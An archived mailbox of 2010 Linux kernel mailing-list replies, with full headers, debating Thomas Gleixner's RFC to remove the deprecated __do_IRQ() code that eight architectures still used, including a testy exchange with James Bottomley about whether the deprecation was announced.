>  infrastructure at all and are therefor unaffected:
> 
>   s390, m68k, sparc 32bit
> 
>  The following architectures are still using __do_IRQ():
> 
>   alpha, cris, ia64, h8300, m32r, m68knommu, parisc, um
> 
> So now the question arises what to do with __do_IRQ().
> 
> Removing it would be the right thing, but that'll break 8 archs, so
> it's probably not considered a good idea, though for most of them the
> conversion should be reasonably trivial.
> 
> I'm happy to move that code into kernel/irq/cruft.c forever if there
> is no way to get the remaining users converted in the forseeable
> future. It looks like they can cope with the annoying build warning
> nicely.

Well, if you're going to deprecate something that 8 architectures rely
on, it would be nice to tell people ... or even just linux-arch ... most
of us do read that.  I've actually never noticed the warning the commit
activated in any of my parisc compiles for some reason.

> Either that or moving everything what breaks into staging/arch/* and
> hand it over to GregKH :)
> 
> Thoughts ?

We could move x86 into staging while it tries out the replacement ...

James



From - Thu Nov 08 21:06:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.cross-arch
Subject: Re: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Date: Wed, 8 Sep 2010 14:58:24 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20100908185824.GD24791@bombadil.infradead.org>
References: <20100908152036.643594727@linutronix.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1283972327 27541 80.91.229.12 (8 Sep 2010 18:58:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 8 Sep 2010 18:58:47 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Christoph Hellwig <hch@infradead.org>,
	linux-alpha@vger.kernel.org, linux-cris-kernel@axis.com,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Tony Luck <tony.luck@intel.com>, linux-ia64@vger.kernel.org,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Greg Ungerer <gerg@uclinux.org>, Jeff Dike <jdike@addtoit.com>,
	linux-parisc@vger.kernel.org, Chris Zankel <chris@zankel.net>,
	linux-arch@vger.kernel.org
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 08 20:58:39 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OtPqt-0004Z7-MR
	for glpp-linux-parisc@lo.gmane.org; Wed, 08 Sep 2010 20:58:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753387Ab0IHS6e (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 Sep 2010 14:58:34 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:45166 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753273Ab0IHS6d (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 Sep 2010 14:58:33 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1OtPqj-0006iB-2g; Wed, 08 Sep 2010 18:58:25 +0000
Content-Disposition: inline
In-Reply-To: <20100908152036.643594727@linutronix.de>
User-Agent: Mutt/1.5.20 (2009-08-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3073 gmane.linux.kernel:1033511 gmane.linux.ports.alpha:1095 gmane.linux.ports.ia64:21400 gmane.linux.kernel.cross-arch:7515
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3073>

On Wed, Sep 08, 2010 at 06:14:14PM -0000, Thomas Gleixner wrote:
>  The following architectures are still using __do_IRQ():
> 
>   alpha, cris, ia64, h8300, m32r, m68knommu, parisc, um
> 
> So now the question arises what to do with __do_IRQ().
> 

Thanks Thomas for the reminder, I'll poke at fixing parisc this week,
and maybe try to fix ia64 and alpha too as penance for forgetting about
this for so long.

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.parisc
Subject: Re: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Date: Wed, 8 Sep 2010 21:34:21 +0200 (CEST)
Lines: 74
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.1009082056210.2477@localhost6.localdomain6>
References: <20100908152036.643594727@linutronix.de> <1283971919.11763.35.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1283974766 6368 80.91.229.12 (8 Sep 2010 19:39:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 8 Sep 2010 19:39:26 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Christoph Hellwig <hch@infradead.org>,
	linux-alpha@vger.kernel.org, linux-cris-kernel@axis.com,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Tony Luck <tony.luck@intel.com>, linux-ia64@vger.kernel.org,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Greg Ungerer <gerg@uclinux.org>, Jeff Dike <jdike@addtoit.com>,
	linux-parisc@vger.kernel.org, Chris Zankel <chris@zankel.net>,
	linux-arch@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Sep 08 21:39:19 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1OtQUG-0006vP-J3
	for glka-linux-arch@lo.gmane.org; Wed, 08 Sep 2010 21:39:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753639Ab0IHTjK (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 8 Sep 2010 15:39:10 -0400
Original-Received: from www.tglx.de ([62.245.132.106]:48631 "EHLO www.tglx.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753576Ab0IHTjI (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Wed, 8 Sep 2010 15:39:08 -0400
Original-Received: from localhost (www.tglx.de [127.0.0.1])
	by www.tglx.de (8.13.8/8.13.8/TGLX-2007100201) with ESMTP id o88JYLtf019947
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 8 Sep 2010 21:34:22 +0200
In-Reply-To: <1283971919.11763.35.camel@mulgrave.site>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Virus-Scanned: clamav-milter 0.95.3 at www.tglx.de
X-Virus-Status: Clean
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED autolearn=failed
	version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on www.tglx.de
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:7516 gmane.linux.kernel:1033520 gmane.linux.ports.alpha:1096 gmane.linux.ports.ia64:21401 gmane.linux.ports.parisc:3074
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3074>

On Wed, 8 Sep 2010, James Bottomley wrote:
> On Wed, 2010-09-08 at 18:14 +0000, Thomas Gleixner wrote:
> > plain text document attachment (genirq-troll-patch.patch)
> > __do_IRQ() has been deprecated after a two years migration phase in
> > commit 0e57aa1. Since then another 18 month have gone by.
> > 
> > So here's the status three and a half years after the flow based
> > infrastructure was merged:
> > 
> >  The following architectures are fully converted to the new flow
> >  handler code:
> > 
> >   arm, avr32, blackfin, frv, microblaze, mips, mn10300, powerpc, score, sh,
> >   sparc 64bit, tile, x86, xtensa
> > 
> >   (avr32 and xtensa should set CONFIG_GENERIC_HARDIRQS_NO__DO_IRQ
> >   though)
> > 
> >  The following architectures are not using the generic interrupt
> >  infrastructure at all and are therefor unaffected:
> > 
> >   s390, m68k, sparc 32bit
> > 
> >  The following architectures are still using __do_IRQ():
> > 
> >   alpha, cris, ia64, h8300, m32r, m68knommu, parisc, um
> > 
> > So now the question arises what to do with __do_IRQ().
> > 
> > Removing it would be the right thing, but that'll break 8 archs, so
> > it's probably not considered a good idea, though for most of them the
> > conversion should be reasonably trivial.
> > 
> > I'm happy to move that code into kernel/irq/cruft.c forever if there
> > is no way to get the remaining users converted in the forseeable
> > future. It looks like they can cope with the annoying build warning
> > nicely.
> 
> Well, if you're going to deprecate something that 8 architectures rely
> on, it would be nice to tell people ... or even just linux-arch ... most

It's been told people. The deprecation patch was on LKMl (I don't
remember whether I sent it to linux-arch), but there were a bunch of
related patches to clean out the old irq related cruft which were sent
to linux-arch and also hit the parisc tree. There is an entry in
feature-removal-schedule.txt for 18 month now.

> of us do read that.  I've actually never noticed the warning the commit
> activated in any of my parisc compiles for some reason.

CONFIG_ENABLE_WARN_DEPRECATED=y perhaps ?

I'm really tired of your whining when you did not get a personalized
taylored to your needs info.

14 architectures got converted and some maintainers sent out mail to
their users 18 month ago right after the deprecation patch was sent
(www.linux-mips.org/archives/linux-mips/2009-03/msg00068.html), there
were reviews of new architecture code on linux-arch where this was
pointed out, so don't tell me that there was not enough information
about this.

> > Either that or moving everything what breaks into staging/arch/* and
> > hand it over to GregKH :)
> > 
> > Thoughts ?
> 
> We could move x86 into staging while it tries out the replacement ...

The replacement of what? 

Thanks,

	tglx

From - Thu Nov 08 21:06:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier.adi@gmail.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Date: Wed, 8 Sep 2010 16:28:07 -0400
Lines: 48
Approved: news@gmane.org
Message-ID: <AANLkTimC1kBuAvd_kei8cdWvgzL-u8FdfEfEGZH1t2ZM@mail.gmail.com>
References: <20100908152036.643594727@linutronix.de> <1283971919.11763.35.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1283977750 19769 80.91.229.12 (8 Sep 2010 20:29:10 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 8 Sep 2010 20:29:10 +0000 (UTC)
Cc: Thomas Gleixner <tglx@linutronix.de>,
	LKML <linux-kernel@vger.kernel.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Christoph Hellwig <hch@infradead.org>,
	linux-alpha@vger.kernel.org, linux-cris-kernel@axis.com,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Tony Luck <tony.luck@intel.com>, linux-ia64@vger.kernel.org,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Greg Ungerer <gerg@uclinux.org>, Jeff Dike <jdike@addtoit.com>,
	linux-parisc@vger.kernel.org, Chris Zankel <chris@zankel.net>,
	linux-arch@vger.kernel.org
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Wed Sep 08 22:29:05 2010
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1OtRGP-0002vU-32
	for lnx-linux-alpha@lo.gmane.org; Wed, 08 Sep 2010 22:29:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754212Ab0IHU27 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;lnx-linux-alpha@m.gmane.org>); Wed, 8 Sep 2010 16:28:59 -0400
Original-Received: from mail-vw0-f46.google.com ([209.85.212.46]:43196 "EHLO
	mail-vw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753674Ab0IHU25 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>); Wed, 8 Sep 2010 16:28:57 -0400
Original-Received: by vws3 with SMTP id 3so438335vws.19
        for <multiple recipients>; Wed, 08 Sep 2010 13:28:56 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:mime-version:received:in-reply-to
         :references:from:date:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        bh=QeexeE27O4wSP8MIz2L6uZlMIngSlY5AYcJToHRzqXw=;
        b=F7qKkkaYg5oF12uLVWcz72qKwkb3HMqxoHosnw84p/rtbsLSGzmTFe/rF9KEyKiimA
         lr7ihHP16p+r0neWe+/nDBsDDAIgyDYIyLq9sfFxAfL1wYcLnpSM9SqnFe7+ZjGg8Rno
         jIVmOxtaTEjEBjox2fCSCRFExW+szUrCUwvKM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type:content-transfer-encoding;
        b=o60oP9lMZXXmMxxY+21O8WQg8rMbBhUbOYCMIBNn9RI2EnJ6YGEf2n95ltuhkzI8z3
         xpAmbtzKZnFzCBrpDyCHfkjw6XMwtpiJQsLvuTe2ypKA/RBLUge8Ygxx9cktQfrGnZXo
         yIrRFT6mTueCoQToyzLCcKx+xKu5pyJjq58zk=
Original-Received: by 10.220.126.162 with SMTP id c34mr170562vcs.9.1283977707241; Wed,
 08 Sep 2010 13:28:27 -0700 (PDT)
Original-Received: by 10.220.159.80 with HTTP; Wed, 8 Sep 2010 13:28:07 -0700 (PDT)
In-Reply-To: <1283971919.11763.35.camel@mulgrave.site>
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:1097 gmane.linux.kernel:1033549 gmane.linux.ports.ia64:21402 gmane.linux.ports.parisc:3075 gmane.linux.kernel.cross-arch:7517
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3075>

On Wed, Sep 8, 2010 at 14:51, James Bottomley wrote:
> On Wed, 2010-09-08 at 18:14 +0000, Thomas Gleixner wrote:
>> plain text document attachment (genirq-troll-patch.patch)
>> __do_IRQ() has been deprecated after a two years migration phase in
>> commit 0e57aa1. Since then another 18 month have gone by.
>>
>> So here's the status three and a half years after the flow based
>> infrastructure was merged:
>>
>> =C2=A0The following architectures are still using __do_IRQ():
>>
>> =C2=A0 alpha, cris, ia64, h8300, m32r, m68knommu, parisc, um
>>
>> So now the question arises what to do with __do_IRQ().
>>
>> Removing it would be the right thing, but that'll break 8 archs, so
>> it's probably not considered a good idea, though for most of them th=
e
>> conversion should be reasonably trivial.
>>
>> I'm happy to move that code into kernel/irq/cruft.c forever if there
>> is no way to get the remaining users converted in the forseeable
>> future. It looks like they can cope with the annoying build warning
>> nicely.
>
> Well, if you're going to deprecate something that 8 architectures rel=
y
> on, it would be nice to tell people ... or even just linux-arch ... m=
ost
> of us do read that. =C2=A0I've actually never noticed the warning the=
 commit
> activated in any of my parisc compiles for some reason.

the only reason Blackfin was converted quickly is because the code
issues a warning (that has been there for a long time):
# warning __do_IRQ is deprecated. Please convert to proper flow handler=
s

so i guess you're saying that you disable the "ENABLE_WARN_DEPRECATED"
option ?  or you dont pay attention to warnings when compiling kernels
?
-mike
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" =
in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Date: Wed, 08 Sep 2010 15:35:24 -0500
Lines: 93
Approved: news@gmane.org
Message-ID: <1283978124.11763.80.camel@mulgrave.site>
References: <20100908152036.643594727@linutronix.de>
	 <1283971919.11763.35.camel@mulgrave.site>
	 <alpine.LFD.2.00.1009082056210.2477@localhost6.localdomain6>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1283978154 21723 80.91.229.12 (8 Sep 2010 20:35:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 8 Sep 2010 20:35:54 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Christoph Hellwig <hch@infradead.org>,
	linux-alpha@vger.kernel.org, linux-cris-kernel@axis.com,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Tony Luck <tony.luck@intel.com>, linux-ia64@vger.kernel.org,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Greg Ungerer <gerg@uclinux.org>, Jeff Dike <jdike@addtoit.com>,
	linux-parisc@vger.kernel.org, Chris Zankel <chris@zankel.net>,
	linux-arch@vger.kernel.org
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-alpha-owner@vger.kernel.org Wed Sep 08 22:35:49 2010
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1OtRMx-0006rU-Rm
	for lnx-linux-alpha@lo.gmane.org; Wed, 08 Sep 2010 22:35:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754359Ab0IHUfd (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Wed, 8 Sep 2010 16:35:33 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:54641 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754210Ab0IHUfb (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Wed, 8 Sep 2010 16:35:31 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 025B48EE10C;
	Wed,  8 Sep 2010 13:35:31 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 3JAHRPdSuvHD; Wed,  8 Sep 2010 13:35:30 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id E9D2A8EE100;
	Wed,  8 Sep 2010 13:35:28 -0700 (PDT)
In-Reply-To: <alpine.LFD.2.00.1009082056210.2477@localhost6.localdomain6>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:1098 gmane.linux.kernel:1033551 gmane.linux.ports.ia64:21403 gmane.linux.ports.parisc:3076 gmane.linux.kernel.cross-arch:7518
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3076>

On Wed, 2010-09-08 at 21:34 +0200, Thomas Gleixner wrote:
> On Wed, 8 Sep 2010, James Bottomley wrote:
> > On Wed, 2010-09-08 at 18:14 +0000, Thomas Gleixner wrote:
> > > plain text document attachment (genirq-troll-patch.patch)
> > > __do_IRQ() has been deprecated after a two years migration phase in
> > > commit 0e57aa1. Since then another 18 month have gone by.
> > > 
> > > So here's the status three and a half years after the flow based
> > > infrastructure was merged:
> > > 
> > >  The following architectures are fully converted to the new flow
> > >  handler code:
> > > 
> > >   arm, avr32, blackfin, frv, microblaze, mips, mn10300, powerpc, score, sh,
> > >   sparc 64bit, tile, x86, xtensa
> > > 
> > >   (avr32 and xtensa should set CONFIG_GENERIC_HARDIRQS_NO__DO_IRQ
> > >   though)
> > > 
> > >  The following architectures are not using the generic interrupt
> > >  infrastructure at all and are therefor unaffected:
> > > 
> > >   s390, m68k, sparc 32bit
> > > 
> > >  The following architectures are still using __do_IRQ():
> > > 
> > >   alpha, cris, ia64, h8300, m32r, m68knommu, parisc, um
> > > 
> > > So now the question arises what to do with __do_IRQ().
> > > 
> > > Removing it would be the right thing, but that'll break 8 archs, so
> > > it's probably not considered a good idea, though for most of them the
> > > conversion should be reasonably trivial.
> > > 
> > > I'm happy to move that code into kernel/irq/cruft.c forever if there
> > > is no way to get the remaining users converted in the forseeable
> > > future. It looks like they can cope with the annoying build warning
> > > nicely.
> > 
> > Well, if you're going to deprecate something that 8 architectures rely
> > on, it would be nice to tell people ... or even just linux-arch ... most
> 
> It's been told people. The deprecation patch was on LKMl (I don't
> remember whether I sent it to linux-arch),

You didn't ... I checked.

>  but there were a bunch of
> related patches to clean out the old irq related cruft which were sent
> to linux-arch and also hit the parisc tree. There is an entry in
> feature-removal-schedule.txt for 18 month now.
> 
> > of us do read that.  I've actually never noticed the warning the commit
> > activated in any of my parisc compiles for some reason.
> 
> CONFIG_ENABLE_WARN_DEPRECATED=y perhaps ?
>
> I'm really tired of your whining when you did not get a personalized
> taylored to your needs info.

So you send out deliberate flame bait and then suffer humour failure at
an ironic reply?

> 14 architectures got converted and some maintainers sent out mail to
> their users 18 month ago right after the deprecation patch was sent
> (www.linux-mips.org/archives/linux-mips/2009-03/msg00068.html), there
> were reviews of new architecture code on linux-arch where this was
> pointed out, so don't tell me that there was not enough information
> about this.

Well, we could go round in circles over the cryptic nature of this
indirection for ages, but I've got a wonderful target flame war to get
back to, so why don't we just cut to the chase:

The missing information is what actually needs to be done.  Fortunately,
the documentation is here:

Documentation/DocBook/genericirq.tmpl

It gives a nice overview and describes what's needed.  Basically you're
replacing generic __do_IRQ() with an internal implementation tuned to
specific handler types using the either generic library of handler
functions in kernel/irq or something more hand crafted and chip
specific.
.
James


--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Luck, Tony" <tony.luck@intel.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: RE: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Date: Wed, 8 Sep 2010 13:36:24 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <987664A83D2D224EAE907B061CE93D53015DB0FB80@orsmsx505.amr.corp.intel.com>
References: <20100908152036.643594727@linutronix.de>
 <20100908185824.GD24791@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: dough.gmane.org 1283978213 22085 80.91.229.12 (8 Sep 2010 20:36:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 8 Sep 2010 20:36:53 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Christoph Hellwig <hch@infradead.org>,
	"linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
	"linux-cris-kernel@axis.com" <linux-cris-kernel@axis.com>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Greg Ungerer <gerg@uclinux.org>, Jeff Dike <jdike@addtoit.com>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	Chris Zankel <chris@zankel.net>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>
To: Kyle McMartin <kyle@mcmartin.ca>,
	Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-alpha-owner@vger.kernel.org Wed Sep 08 22:36:47 2010
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1OtRNu-0007gz-BB
	for lnx-linux-alpha@lo.gmane.org; Wed, 08 Sep 2010 22:36:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753392Ab0IHUge (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Wed, 8 Sep 2010 16:36:34 -0400
Original-Received: from mga02.intel.com ([134.134.136.20]:31166 "EHLO mga02.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752388Ab0IHUgd convert rfc822-to-8bit (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>); Wed, 8 Sep 2010 16:36:33 -0400
Original-Received: from orsmga002.jf.intel.com ([10.7.209.21])
  by orsmga101.jf.intel.com with ESMTP; 08 Sep 2010 13:36:26 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.56,335,1280732400"; 
   d="scan'208";a="552783289"
Original-Received: from orsmsx603.amr.corp.intel.com ([10.22.226.49])
  by orsmga002.jf.intel.com with ESMTP; 08 Sep 2010 13:36:26 -0700
Original-Received: from orsmsx601.amr.corp.intel.com (10.22.226.213) by
 orsmsx603.amr.corp.intel.com (10.22.226.49) with Microsoft SMTP Server (TLS)
 id 8.2.254.0; Wed, 8 Sep 2010 13:36:25 -0700
Original-Received: from orsmsx505.amr.corp.intel.com ([10.22.226.208]) by
 orsmsx601.amr.corp.intel.com ([10.22.226.213]) with mapi; Wed, 8 Sep 2010
 13:36:25 -0700
Thread-Topic: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Thread-Index: ActPh9wEdUteUl91RKaXDji/8edtgQADVA7A
In-Reply-To: <20100908185824.GD24791@bombadil.infradead.org>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
acceptlanguage: en-US
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:1099 gmane.linux.kernel:1033554 gmane.linux.ports.ia64:21404 gmane.linux.ports.parisc:3077 gmane.linux.kernel.cross-arch:7519
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3077>

